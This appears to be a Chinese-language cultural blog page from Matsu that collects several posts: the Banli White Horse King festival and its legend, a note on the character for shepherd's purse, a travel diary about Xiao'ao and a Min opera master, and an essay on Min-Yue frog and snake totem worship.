

▲閩越族圖騰信仰,白馬尊王在馬祖
▲閩越族圖騰信仰,白馬尊王在馬祖

 

 

▲北竿島百年發展出「扛乩」的文化
▲北竿島百年發展出「扛乩」的文化

 

坂里白馬王十三暝

雖然每年「坂里十三暝」都會參與「燒馬糧」祭典,同時以文史工作者記錄與觀察在地的民俗的發展,今年多了在地素人演藝「白馬尊王」傳奇,以及祈福盛典、出宮與入駐公館的儀式,補足傳統祭典的缺憾,同時「白馬尊王」傳奇的音樂劇,讓「坂里十三暝」更有看頭。就「坂里十三暝」主神「白馬尊王」信仰,原承襲於原鄉長樂市鶴上鎮旒峰白眉村「白石境射鱔尊王」廟的習俗。傳到坂里後經過在地化的發展,過去村裡耆老傳言半夜子時,常聽到掛鈴馬蹄聲,認為是尊王騎著白馬代天巡狩;同時亦流傳一段俗諺「坂里白馬王十三暝,普降甘霖泓潤萬物」。

在馬祖列島泛白馬王信仰裡,唯有坂里與白沙兩村在迎神遶境時,各家戶必備「馬草」,並夾帶「五穀糧秣」與「元寶」一併焚燒給尊王座騎白馬使用。農曆十三日傍晚時刻,中澳口白馬尊王廟埕前,就集結好迎神陣伍,由長老入廟恭請白馬尊王、白馬夫人香爐,並且迎金身「起駕」,隨即遶境進入白沙村平水尊王廟會香;「座駕」片刻後,巡返坂里村,沿途火樹銀花鑼鼓喧天,信眾門前候駕接香與燒乾草回敬,抵達坂里大宅院時,捧請白馬尊王香爐與恭迎金身,駐蹕「公館」過夜,神與人共賞擺暝文化祭!

▲祈福盛典
▲祈福盛典

 

在地素人演藝白馬尊王傳奇
▲在地素人演藝「白馬尊王」傳奇
▲出宮的儀式
▲出宮的儀式

 

▲入駐公館的儀式
▲入駐公館的儀式

 

▲「燒馬糧」的文化體驗
▲「燒馬糧」的文化體驗

 

▲ 坂里中澳境白馬尊王廟
▲ 坂里中澳境白馬尊王廟

 

▲ 遶境至白沙村平水尊王廟會香
▲ 遶境至白沙村平水尊王廟會香

 

▲沿途各家戶必備「馬草」,焚燒給尊王座騎白馬使用
▲沿途各家戶必備「馬草」,焚燒給尊王座騎白馬使用

 

 

白馬尊王的信仰

馬祖七十餘座廟宇中,以泛白馬王體系勢力最為龐大,被奉為聚落的主祀神共計十二座,可謂是民俗信仰的強宗。

歷史上記載:戰國中期,越王無疆遭楚國所滅,越國王族無諸率遺民向南湧入福建,開始了閩越族建國時期。無諸起兵助劉邦擊敗項羽,受封為閩越王。漢武帝時,閩越王郢發兵進攻東甌與南越兩個鄰國,不久閩越國內部發生內訌,餘善殺其兄郢自立為王,公開反漢。最後漢武帝派軍剿滅閩越國,強制將閩越遺民遷往江淮一帶,一部分不願降漢的閩越族人,流落山林與滄海中討生活,淪為山都木客、曲蹄蜑民。

閩越王郢第三子騶寅,別號白馬三郎,正是福州白馬尊王信仰圈的主祀神,受歷代朝廷敕封,神格不斷抬升。《三山志‧祠廟》記載:「鱔溪,沖濟廣應靈顯孚祐王廟,鼓山之北,大乘寺之南,山峽間有二個水潭:下潭寬六丈,深不可測。距上潭五里。昔閩越王郢第三子具有勇力,射中大鱔於此潭,其長三丈。土人因為立廟,號白馬三郎。唐貞元十年,觀察使王翃旱禱得雨,崇飾廟貌,自後太守躬禱則應」

從此以後成為中國歷代官方祈雨之神。歷史越往後發展,神話事蹟更趨向完整,受到清代乾嘉時期《閩都別記》的影響,故事情節更豐富而完整。

《閩都別記》第228回裡話本說到:無諸傳騶郢為閩越王「騶郢有第三子名寅,年少英勇,精於騎射,百發百中,常騎白馬,軍中號為 “白馬三郎”,鄰國皆懼。是時諸變皆定,百姓安堵。唯鼓嶺下之大鱔魚、長樂之惡豹,食畜傷人,大為民害。白馬三郎匹馬先至長樂除豹。上山尋訪,惡豹正在山巔,負隅食人,被三郎二箭射中腰肋,仍立不倒。連射了二箭,皆中喉肚,又不動。近前視之,原來活豹被射變為岩石矣,其害遂除。現在長樂十七都地方,有豹變石,即當日射豹之古跡也。三郎既除了惡豹,回來再除惡鱔。那鱔長有三丈,大有數圍,在鼓山北深潭中,時常出現食人。人雖遠離,亦能搶至,咬入潭中食之,似風似箭,極快, 人皆奔走不及。三郎挾弓矢至,那鱔正在潭面,即發一矢,正中鱔喉。巨鱔跳起空中,把尾將三郎連馬捲入潭中,頃刻人、馬、 鱔俱休矣。因為民除害,民皆感念,立廟祀之。取鱔魚之頭為香爐,後此爐被紅毛盜去……

這一段傳奇造就白馬尊王信仰不朽的地位!

▲山隴白馬尊王廟傳統建築
▲山隴白馬尊王廟傳統建築

 

▲白馬尊王暨夫人神像
▲白馬尊王暨夫人神像

 

有關〈三月三,搭門青〉的說明

0
有關〈三月三,搭門青〉的說明

感謝桂香小姐引經據典的指教

 

「薺」當然是「蒺藜」的合音(見下列2.3.圖),只是此「薺」不是彼「薺」。馬祖人以方言說薺菜時,口中是發ㄐㄧˇ ㄧˋ ㄗㄞˇ,(這只是近似音而已,尤其是「菜」的注音,聲母不能用ㄘ,因為它在此已經產生音變了。要想注出標準的音必須借助國際音標,所以,鄉親說的語詞,它的拼音應該是ʨiˇ iˋ ʒaiˇ。)大陸出的《福州方言字典》將漢字寫成「懿旨菜」,實在無法讀出我們熟知的語音來。在寫文章時,我聯想到當年念大學讀《說文解字》、《詩經》的經驗,其中就有「蒺藜」合音為「薺」的例子(見圖1),用「蒺藜菜」三個字念起來,反而接近馬祖人的語音。

 

有關〈三月三,搭門青〉的說明
圖1。許慎《說文解字》對「薺」的解釋。
有關〈三月三,搭門青〉的說明
圖2。朱駿聲《說文通訓定聲》對「薺」的解釋。

 

有關〈三月三,搭門青〉的說明
圖3。《辭源》對「薺」的解釋。

 

但是問題來了。1.薺菜。2. 蒺藜(合音為「薺」)。3.茨。三組品名本來是各不相同的,第一組的「薺菜」,就是「搭門青」或「掛門青」專用的、可以燒涼茶喝的「薺菜」。第二組,古人用「薺」表示「蒺藜」的合音詞時,可能沒想到「薺」已經有專屬的指稱物了。所以,造成兩種植物的「同名同姓」。第三組,「茨」固然是草的名稱,文獻上經常將它解釋做「茅草蓋的屋頂」。因為它的讀音類似「薺」,所以,古人在書寫時,將「茨」做為「薺」的假借字(見圖4),用比較通俗的話來說,這就是「錯別字」之一。因為如此,就出現另一個「同名同姓」的例子。很抱歉,一連串的巧合就造成混淆了。

 

有關〈三月三,搭門青〉的說明
圖4。朱駿聲《說文通訓定聲》對「茨」的解釋。

 

有些朋友或許看木刻版的文獻不太習慣,我翻拍《辭源》對「薺」的說解供大家參考,道理就很明白了。再度感謝桂香小姐的指教與批評。

【福建女兒轉外家】之五(完結篇及後記)

0
【福建女兒轉外家】之五-2
【福建女兒轉外家】之五-2

2月6日(福州→曉澳→黃岐→北竿)

旅途倥傯,五天行程一下閃過。今天最後一站探訪曉澳鎮,李榮光(原名李仁光)、李嫻婷父女的家鄉。曉澳鎮位於閩江口北岸,與海峽東面的南竿津沙村遙遙相望,無怪乎津沙村許多人原鄉在曉澳。

李榮光、李嫻婷父女
李榮光、李嫻婷父女

榮光兄在高祖父一代,已在津沙定居。民國35年,馬祖霍亂疫情嚴重,傳染擴散,島上許多人都「病吐瀉!」榮光兄爺爺有三個弟弟,一個么妹。四兄妹都受到不同程度感染,又吐又瀉。兩位叔公不幸病故,爺爺與小叔公結伴返回內地求醫。民國38年,國共對峙海峽封鎖,從此滯留大陸。兩岸通航後,從津沙嫁到珠螺的么妹,也就是榮光兄的姑婆,回曉澳尋親,輾轉找到福州,兄妹來不及見面,榮光兄的爺爺已作古多年。

民國89年,榮光兄一家來馬祖依親定居,距爺爺離開馬祖,已經相隔54年。

曉澳與梅花都在閩江口,分屬連江縣與長樂市,一在北,一在南,中間橫著琅岐島;兩地都是海耕漁牧的典型漁村,也都講福州話,但口音明顯不同。這個連江口音,也隨著漁船帶到大海另一邊的津沙村。「大姆姆踢到石頭姆,呱地疼,雷地疼;隔蜀暝,還在疼!」曉澳人念起來,抑揚頓挫,跟津沙人念的一樣逗趣、好聽。

曉澳因在敖江與閩江出口間,河海沖積,沙灘特長(有個村乾脆就叫長沙),又寬又廣的灘塗地,種蟶養蛤、螃蟹海螺,那已不是「海上冰箱」可以比擬,已經達「好市多」等級了。榮光兄說,曉澳三萬多人三成靠此維生,其餘七成從事漁產養殖與外海捕撈。

榮光兄遷居馬祖多年,關心地方大小事,他知道潘館長與桂香小姐對閩劇、折子戲頗有涉獵,平日鑽研推敲,一心想延續馬祖戲曲香火。他特意安排小學老師,現為連江縣「九龍樂社」領導的邱玉明先生見面。邱老師也熱心邀請亦師亦友、高齡九十、家住曉澳的福州戲吳振泰大師一敘。作陪的還有幾位書畫名家。謙謙君子、濟濟一堂。真的是一堂。那是一間榮光兄親友所擁、一幢面向大海豪華居所附設的「禮拜堂」。

曉澳閩劇大師吳振泰
曉澳閩劇大師吳振泰

吳大師精神矍鑠,談興甚濃,一點不顯老態。他說,民國37、8年間,兩岸局勢混沌,他跟著「錨纜」載蝦皮、漁貨,從曉澳駛向台灣做生意。天候難料,航程又長,錨纜要在東引停留觀察海象、補充淡水。等一切妥當,通常下午啟航,隔日天亮即抵基隆港。當時,一枚番錢換四元台幣,曉澳載去的漁貨順利賣出有十多倍的獲利。他還親筆寫下「舟」字邊的「錨纜」,為我們釋疑。

豪宅內的座談會
豪宅內的座談會

老先生說,抗戰勝利,舉國歡騰,民間組織遊藝隊慶賀。他當時16歲,男扮女妝踩高蹺演折子戲。因為扮相俊秀,唱腔亮麗,為戲曲老藝人組成「儒林班」納為徒弟。27歲那年,曾以500元經費組織劇團,是連江縣第一個閩劇團,後來因「地主」身分、與「台灣」關係,終究只成了業餘的愛好者。

吳振泰老先生開講
吳振泰老先生開講

然而,領導「九龍樂社」的邱玉明老師卻對吳老先生閩劇造詣極為推崇。老先生能編、能導、能唱,不但嫻熟戲目,閩劇四大唱腔「江湖調」、「洋歌」、「逗腔」、「小調」都能上口。除了橫蕭與二胡等管絃樂器比較生疏,其他羅、鼓、鈸、磬,都難不倒他。福州、連江、長樂若有傳統閩劇演出,唱腔、身段與鑼鼓點子,一定來曉澳請教老先生。

吳振泰老先生與九龍樂社邱玉明
吳振泰老先生與九龍樂社邱玉明

不僅閩劇如數家珍,老先生對兩岸對峙前的局勢也記憶清晰。他說,幼時經常見到曉澳海灘堆積大包食米、粉乾、酒罈、食油、粗鹽,運往「外頭山」;村裡的剃頭師傅、伬唱藝人三不五時就去一趟,短則五、六天,長則個把月。他還講了一段「打鐵敢」賣假藥的故事。拳頭師傅以餿飯混調鐵鼎刮下的烏蔫,捏了三十幾種藥丸,號稱「天地打透」,後來一個親戚的孩子患病跟他買藥,「打鐵敢」…(可惜我沒能聽詳細)。

 

中午,榮光兄安排在曉澳在地店家午餐,跟第一天黃岐一樣,多是兒時滋味,特別有一道「甜炒白(米時)」,睽違數十年了。席間,我們央請老先生哼一段閩劇小調,老先生爽快,雙手比劃鑼鼓定節奏,一段唱詞流淌而出,大家都放下筷子。一旁的潘館長,閉目晃腦,已經迎上老先生的旋律,他們合上拍子了。

糖炒白(米時)
糖炒白(米時)

午後三時,黃岐到北竿航班,準點。

【後記】

這趟【福建女兒轉外家】之旅,從福安到福清,前後五天,大概是數十年來,我講家鄉話、聽家鄉話,時間最久、密度最高的一次。

每天在不同的鄉鎮移動,聽不同故事、看不同風景;不論是一棟破舊的瓦屋、一句久違的歇後語、一片廣袤的沙灘,還是一聲輕輕的嘆息,都在觸動我的過往,促使我重新看到不復存在的故我,那樣地脆弱、偶然與險象環生。

在梅花、曉澳、嶺南…,這些早已聽聞卻初次到達的村鎮,不斷遇到跟我講同樣語言的男男女女,在廣場曬太陽,在巷弄踽踽獨行,在小店興高彩烈地與人爭論。如果很久很久以前,我的祖輩沒有搭上東行的帆船,在度過漫長時光之後,我便是那個廣場枯坐、巷弄獨行、在小店內喧嘩之人。

謝謝同行的夥伴,特別是嫁來馬祖的每一位福建女兒。妳們豐饒而獨特的生命經驗,讓我看到自己擁有的是多麼的少,未曾擁有和永遠不會擁有的是何其之多。

大埔老照片

0

大埔老照片/曹以會製作

尋查閩越族蛙與蛇的圖騰崇拜

0
閩越族蛙與蛇的圖騰崇拜
閩越族蛙與蛇的圖騰崇拜

前記

前幾天夜裡驟雨滂沱,伴隨蛙鳴聲此起彼落,眠淺醒來從宿舍露臺眺望,俯視芹壁依山傍海全景,在昏黃的燈光下迷迷濛濛,想到杜甫詩句「風起春燈亂,江鳴夜懸雨」,此刻江鳴換成了蛙鳴。遇到同樣煙雨濛濛、燈火闌珊的夜,易讓人墬入冥想中,奇特的影像自腦海湧現,外婆、父親、進香、媽祖、蛙神、亮島人……似蒙太奇電影情節走場。同時激化大腦裡海馬回努力去蒐尋原始的記憶,這些祖靈這些事,全都在四月清明後排序,等候東風再起;雜沓而來的影音和訊息,在紛亂裡漸漸定焦於熟識的圖騰印記上,首先躍出的圖騰居然是蛙神,或許是芹壁村保護神的關係,無法選擇遺忘。多年前撰寫過《尋查閩越族蛙與蛇的圖騰崇拜》,也曾在連江水月刊89.8號發表過。上個月某國立大學中文系研究生,欲引用這篇文章,苦無全文資料,於是在我的部落格留言希望取得圖文,本諸文章理應濟世利人,因未存電子檔,慨然允諾重新打字完稿後寄出,今已寄出也備份在部落格裡存查,以利同道研究,更期待有識之士協尋蛙神三兄弟中「金甲將軍」下落,方能完成閩越族蛙神一族的拼圖。

▲蛙神圖騰化-見於芹壁路燈

 

尋查閩越族蛙與蛇的圖騰崇拜 全文刊登如下:

▲《尋查閩越族蛙與蛇的圖騰崇拜》,曾在連江水月刊89.8號發表

 

徵文難考據更難

「上窮碧落下黃泉,動手動腳找材料」,以這句話形容馬祖藝文協會文史小組成員,是寫實也是寫心境。目前成員們正致力於廟字的田野調查,已經過年餘踏查,已快接近收尾工作,更艱辛的工作正開始。面對一堆看似無意義的資料,和對證於文獻資料的爬梳工作,頗能體會連雅堂先生在撰述台灣通史時,感嘆:史料疑信參半而徵文難,其次是老成凋謝,莫可諮詢,則考獻更難。

閱讀閩越族人史前文化

閩越族人的生活空間幾乎近及於八閩之地,擇新石器遺址中與閩東具有地緣關係,計數閩侯的曇石山遺址以及平潭縣殼丘頭遺址兩處,憑有限的遺物、遺跡、和多一點想像空閒,拼湊出閩越族生活圖像,倒不難發現那時候的閩江下游一帶,江面寬闊,大片淺水灘塗生養鱗甲水族,螺蚌蜆蛤遍地繁殖,兩岸森林蒼鬱,虎、象、棕熊、水鹿等動物成群出沒於林間,閩越人臨水岸而居;燒陶的窯基、取暖的火塘、所持石製工具已相當銳利如:刀、鐮、斧、鐮。其餘尚有骨器、陶器、蚌器等工具。他們過著漁獵生活,處在母系氏族型態的社會文化。

至青銅器時代(約當西元前三二五0年),從閩侯黃土崙遺址證實閩越人運用青銅器於農耕,屬於「鋤耕農業」初階,耕作方式停留於原始的「水耕火褥」,因青銅器工具使用於造舟,閩越人已能航行閩江來去自如,為入水方便避水害,「斷髮紋身」沿習成俗,身上所紋刺的「鳥獸草木」,極可能是氏族的族徽,也是圖騰的來源。

圖騰,是氏族的標誌

蔣炳釗教授認為:「圖騰崇拜是一種原始宗教的圖騰信仰,固然表現了民族的共同心理狀態,但也應該注意到圖騰信仰是產生於氏族,作為氏族的族徽。民族是由氏族、部落發展形成的,因此一個民族中可能同時殘存有幾種圖騰信仰。」就閩越族而言,分佈地域相當廣泛,各氏族間各自擁有圖騰,應是普遍存在,所謂圖騰最初始的意義,僅以藉自然物來加強識別作用,後來氏族逐漸對標識物產生感情,並進一步神聖化為氏族的祖先,於是衍生一套傳說或神話,來凝聚族群間集體意識,圖騰信仰便這樣被製造出來,因此,就圖騰信仰的現象觀察,馬祖列島潛存的青蛙和蛇的崇拜,不難可理解閩越文化的圖騰遺風,就文化工作者來說,這類資料需經過爬梳後才有意義。

閩越人對蛙圖騰崇拜其源有自

當閩越人活躍於閩江流域一帶,過著水耕火褥的生活;青蛙因是稻田害蟲的天敵,於是青蛙順理成章變成稻米保護神,護衛著稻穀豐稔,閩越人以報本原始的心態更加崇拜青蛙,這點在閩侯縣的黃土崙遺址上,發現一件裝飾青蛙的塑像陶器,得到驗證。說明民間保安的文化意識,極易移情至氏族圖騰信仰。

《史記.東越列傳》記載:「閩越王無諸及越東海王搖者,其先皆越王勾踐之後也」,早在勾踐時,視怒蛙為勇者,並向青蛙敬禮,原文見《韓非,內儲說上》記載:「越王勾踐見怒蛙而式之。御者曰:何為式?王曰:蛙有氣如此,可無為式乎?士人聞之曰:蛙有氣,王猶為式;況士人有勇者乎?是歲,人有自刎死以其頭獻者」。當楚滅了越國後,越國的貴族和軍隊相繼避入福建與閩人合流,並由無諸建立閩越國;漢興,無諸助劉邦打入關中,並與項羽逐鹿中原,立下汗馬功勞,受封為閩越王,使閩越國可以依據舊制,以血緣關係為紐帶的氏族聯盟式因地治理,一直到漢武帝時,余善起兵叛漢被滅為止,蛙的圖騰崇拜一直存在於閩越族文化中發展。

漢俗擬人化後的青蛙神

漢武帝揮軍南下滅了余善,漢廷見 「東越狹多阻,閩越悍數反復」,於是遷徙閩越族人至江淮之地,不願歸順漢王朝者遁人山林,或潛人海中為白水郎(或稱蜑民、馬祖人稱之曲蹄),依舊保存青蛙的圖騰崇拜,至唐宋以後由於福建一帶漢人大規模進行造神運動,蛙的圖騰被擬人化,俗稱金甲將軍、綠甲將軍、鐵甲將軍,皆是青蛙一族的神祇,「甲」與 「蛙」在福州語音相近,易被轉用,至於金、綠、鐵是不同外型和顏色的蛙類。漢人習俗如何將蛙神擬人化呢?據《施鴻保,閩雜記》記載:「青蛙神,聊齋志異載之。吾杭甬金門內金華將軍廟,本祀吳越將曹杲,俗亦稱為青蛙。聞曾有送神來廟者,然予未之見也。及來閩後,則聞上游諸郡,祀神甚謹。延平府城東且有廟。又聞神宅在府學泮池旁曾降乩言,本唐末武臣,死黃巢之難者。其形時大時小,所至之家,必多喜慶,若止廟社官衙,亦主地方安稔」,至此青蛙神已歷史化為死於黃巢之亂中武臣。

劉鶴齡成蛙神的傳說

閩江下游一帶的蛙神傳說,見于《閩都別記》第二六四回至二六九回,大意是有關青蛙精劉鶴齡的故事版本:話說劉鶴齡長樂芝山鄉人;十四歲時每日在上學途中,常遇一位赤體的小孩玩紅丸,這小孩每次向鶴齡討口水,欲煉丸成青蛙仙,只見因吐口沫而劉鶴齡身體日漸枯稿憔悴,經墊師指點計破小孩陰謀,齡鶴齡將缸丸騙到手吞食,那小孩死去現出蛙形,而劉鶴齡代蛙精承襲遁水本領,因其具有遁水本領,曾擊敗錢塘江豬婆龍,助浙人解除水患且修海塘,但因調戲明成祖后妃被殺,剁為肉醬投入水池中,遂化為數萬隻青蛙,大鬧皇官,明成祖召來張天師與之鬥法,由於青蛙法力無邊,張天師只得妥協談判,明成祖自知理虧,准張天師封青蛙為神,頒敕江西、浙江等處為各神廟守護神,祭祀時見青蛙頭朝外表示悅而享,頭朝內則表示怒而不食,祭者改日再祭。若現形於人家宅中謂舊願末還,必趕緊酬還。這則蛙神故事充分表示以下三點特性:一、蛙神擬人化後具有人之善性。二、蛙神法力高強。三、蛙神具有靈性。

芹壁人與鐵甲將軍的故事

「雨仔蕩蕩,黃排(青蛙)生蛋、表兄賭錢、表嫂告狀」、「夏蟬叫、荔枝紅、青蛙叫、抱火籠」………這些以青蛙為題材的童謠,風行於馬祖列島,勾起不少鄉親兒時回憶。去年十一月文史小組在芹壁天后宮進行田野調查,尋訪到青蛙崇拜的遺風,據鄉老陳奕昆及鄭軟俤口訴:「鐵甲將軍就是青蛙神,是我們全村的保護神,有一年海盜船來犯,遠遠看到澳口佈滿壯兵嚴陣以待,海盜知難而退,一問得知是鐵甲將軍暗中協助,才能使芹壁躲過一劫」,這樣的「青蛙點兵」神蹟無獨有偶的也出現於西莒陳將軍廟。當我們追問鐵甲將軍由來時,據稱:「很早以前,廟裡排暝,就有隻青蛙跳至供桌上,將酒杯中高梁酒喝光,當時村裡私墊老師看到這種情景,認為是鐵甲將軍降臨兆頭,經擲筊顯應希望留在天后官常駐,於是村民塑金身供奉於左邊神籠中」,青蛙神喜喝高梁酒愛看戲,早在福州府一帶留傳著,墊師從內地來必定有所聽聞。同時還有一則神蹟證實鐵甲將軍愛看戲成迷,據閒:「芹壁以前是個著名的漁村,有一回壹艘麻纜(大型漁船)載著戲班來到澳口,說是有人雇請他們來這裡演戲,並且還付了錢,村民嘖嘖稱奇,因為村民壓根沒人去內地僱戲班,況且也沒有那樣的經濟能力,想必又是鐵甲將軍自娛而娛人。」

時過半年筆者再次走訪芹壁村天后宮,不經意找到一篇探祖廟記實遊記,記錄著王安民、陳和平等人得鐵甲將軍降乩,指示他們赴武夷山探尋鐵甲將軍得道廟址,於是他們一行在今年元月十二日遠赴武夷山,其間歷經跋山涉水之苦,終於在武夷山六曲尋得青蛙石,又在「金雞社」找到廟址,並攜回「武夷山水傳奇」其中記載一段「武夷山青蛙石的故事」,據筆者翻閱武夷山資料,確實是閩越族人的聖山,甚至許多傳說直指為祖先發源地,因此青蛙神的傳說,極有可能是閩越族中一支氏族的圖騰崇拜現象,從武夷山起源後,順著閩江流域而下沿途傳播,終結於北竿島芹壁村的鐵甲將軍故事,完成了傳承的歷程。今年七月芹壁村鄉親組成龐大的進香團,前往武夷山朝聖立碑(碑文由陳天歲先生經神蛙的授意撰寫而成),也算以價芹壁人與蛙神「報本原始」的宿願吧!

閩越族人蛇的圖騰崇拜

閩,依《說文解字》解釋:「閩、東南越、蛇種」,所謂蛇種,說清楚一點就是閩越人把蛇當成祖先圖騰來崇拜。從閩越族人居閩江一帶氏族觀察,其有閩蛇的物證、言證、人證相當豐富,擇要點敘述如下:就考古資料而言可追溯至新石器時代,據陳文華在《幾何印紋陶與古越族的圖騰崇拜》一文指出,福建在新石器時代器物中,有各種裝飾的圖案,這些圖紋多仿蛇皮的花紋,可見崇蛇相當普遍。

就信仰心理而言,林國平著《閩台民間信仰源流》曾精闢分析如下:「閩越族多居住在山野溪谷和江河湖泊之間,長期與水打交道,是一個熟悉水性,善於操舟的部族。而毒蛇也多繁殖於山野溪谷,對閩越族的生存造成很大的威脅。在民智未開的閩越人心目中,蛇是一種頗具神秘色彩的動物…‥,認為蛇具有超自然力量,進而對蛇加以崇拜,後來由一般崇拜發展成圖騰崇拜」,所以蛇的圖騰崇拜心理,應與當時地理環境關係密切。

就民間習俗而言,古閩越人生活與蛇息息相關,可從以下例證得知;其一:「以人祭蛇」,據引《搜神記》記載,將樂縣少女李寄為破除陋習,設計斬蛇除患。其二:「蛇王慶典」,南平縣樟湖坂一帶至今還流行遊蛇燈和迎蛇王節活動。其三:「放蛇斷兆」,蜑民在駕駛船時,必定放蛇以判吉凶,蛇若離船身,則表示凶兆船將沈沒。其四:「綰髮蛇簪」,福州一帶婦女常見綰髮,宛若首載青蛇,髮中間插支蛇形髮簪,以示不忘木。

就民間傳說而言,有關蛇的題材更是不勝枚舉,只舉《閩都別記》為代表,在三六三回起收錄一則類似蛇郎君的故事情節,大意是:永福縣廣岩有一蛇精召葉青選為夫,生下二子長子施郎出生時為人首蛇身,及長二十二歲,青選央媒人李七至陳仲信家做媒,唯二女掌玉願嫁施郎,婚後兩人幸福美滿,施郎因精通藥理和醫術,救人無數,因而致富,看在窮困潦倒的掌珠眼裡好生嫉妒,於是設計將其妹掌玉推入井中,頂替掌玉,因八哥鳥報訊,施郎得知蹊蹺迎回掌玉,掌玉宅心厚以德報怨,未料掌珠再獻計盜匪搶其妹,再因烏鴉救困,反搶掌珠為押寨夫人,未及半年淫毒發瘡潰爛而死。

人蛇完婚看漢和閩越文化融合

漢人版本的人蛇合婚故事,是經過一番人蛇鬥爭後所協調出來的文化產物,在之前通常是漢人斬蛇的故事居上風,極具代表的故事是陳靖姑斬蛇除妖的情節,以民族發展史料論證,或許可做漢人開拓閩地時,閩越族人與漢人之間文化從衝突對立到融合過程,提供相當豐富的線索。正如徐曉望教授在《福建民間信仰源流》提到相同論證:「在閩江下游中段,有兩個最大廟字,一個是樟湖坂的蛇王廟,它是水上人家信奉的最高神靈;而距樟湖坂僅幾十里水路,便有以斬蛇為特點的臨水夫人廟,它是福州地區陸上人家信奉的最高神靈。這兩個神對上,反映陸上人與水上人的鬥爭…最後調和告終。」水上人家即閩越族人因不願歸順於漢,入水為白水郎,以蛇為氏族圖騰延續自己文化,而漢人無疑擇陸而居,以強勢入據原住民地盤。經長期文化融合和通婚,閩越人與漢人界限漸冺。

馬祖人與蛇神的故事

馬祖列島崇蛇文化,亦散落於各島嶼,其中以趙大王廟和英烈王故事最具特色。趙大王廟分佈於西莒和北竿的高登、亮島等地,在我們走訪西莒坤坑村時,據鄉老陳梅官先生口訴記錄:「在坤垃海邊有一個天然岩穴,老一輩村民常見到一條很大的紅色蟒蛇,常出沒於附近,漁民感覺頗為靈性,時常會奉上酒和海產祭祀,有一日從海上漂來一尊木刻神像至澳口,經蟒神降乩童身上指示,欲在澳口岩穴旁建一座小廟安置,並報出自己姓趙,於是廟成後就取名趙大王廟」,蛇不僅具有靈性,而且還有聚集錢財的傳說;各島亦流傳,據說:蛇脫皮後,立刻將蛇皮攜回置於錢櫃中,錢會愈滾愈多,雖是無稽之談,可見崇蛇的心理不會因此退燒。

再說,英烈王神祇,目前供奉於南竿福澳華光大帝廟內,據村老給我們「請神簿」,當中記載:「英烈王正月初十夜,福建福州長樂縣厚福境移居連江縣南竿塘福沃村,弟子于本夜乾備香花燈燭、三牲果品,謹向長樂厚福境,透英烈王廟九使、十使,十一使合殿神聖座前慶賞元宵佳節……」,從中不難理解英烈王神祇來自于何處,筆者繼向大陸師傅請益英烈王故事時,其說法與閩都別記相去不遠,疑其傳說應源自閩都別記第八五回,故摘錄其中一段情節,「再說有一道士,名劉遵禮,其妹被蟒蛇拽去,遵禮法術頗高,即刻破其洞穴,蟒蛇王已先拽其妹走去,尋訪無跡。後至龍虎山學法回來,先作法封山,就殺入洞內先後斬蛇王之八子。其妹抱三子出來,跪求饒恕無殺。遵禮問:『所抱何人?』劉氏答:『是被蛇精拽為夫婦,甚是恩愛,共生十一子,已殺去八個,今只遺九使、十使、十一使,看妹份上,同妹夫一併恕之,令其棄邪歸正。』遵禮見其妹哀求,遂饒恕之,請于天師,奏達玉帝,准其歸正以遵禮為殿前輔弼,妹劉氏為人間種痘夫人。」蟒蛇精和三使被封為正神後,於是被閩東一帶鄉民立廟常祀,這樣的傳說隨廟神分香至福澳,亦飄洋過海為鄉民茶餘飯後的話匣,更堅定民眾對蛇神的信仰。

馬祖島文化的基因,是繫於一條流動的閩江

馬祖列島因獨特地理環境,不僅是閩江匯流人海之處,亦順勢為閩江流域一帶文化匯聚所在,海的偉大是因為她能容納百川之勢,遂造就包容、豪氣、樸實、冒險、進取等風采。島嶼底文化的基因,是一條流動的閩江流域,由閩東一路迤邐進人閩北、閩西版塊、迄於武夷山之顛。因此,蛙與蛇的圖騰崇拜,即循此思路找絲路,同時也擴大了視野,否則易流於閉門造車之譏,最後再援引閩都別記第三六五回故事做為迴響,原意是:蛇精與蛙精相互鬥法鬥至不分晝夜,難分軒輊,雙方問清楚來歷,蛇精原來是福清人夔郎,來自明末葉向高宰相的侄孫。蛙精原來是劉鶴齡原籍長樂人,長樂縣和福清縣地緣相鄰同屬於福州府,於是他們不打不相識問清楚來歷後,放棄格鬥敘會鄉情。而你和我是否還需要分島際呢?不計是蛇是蛙,我們在文化上都是一族。

原文刊於海上鮮師部落格

熱門文章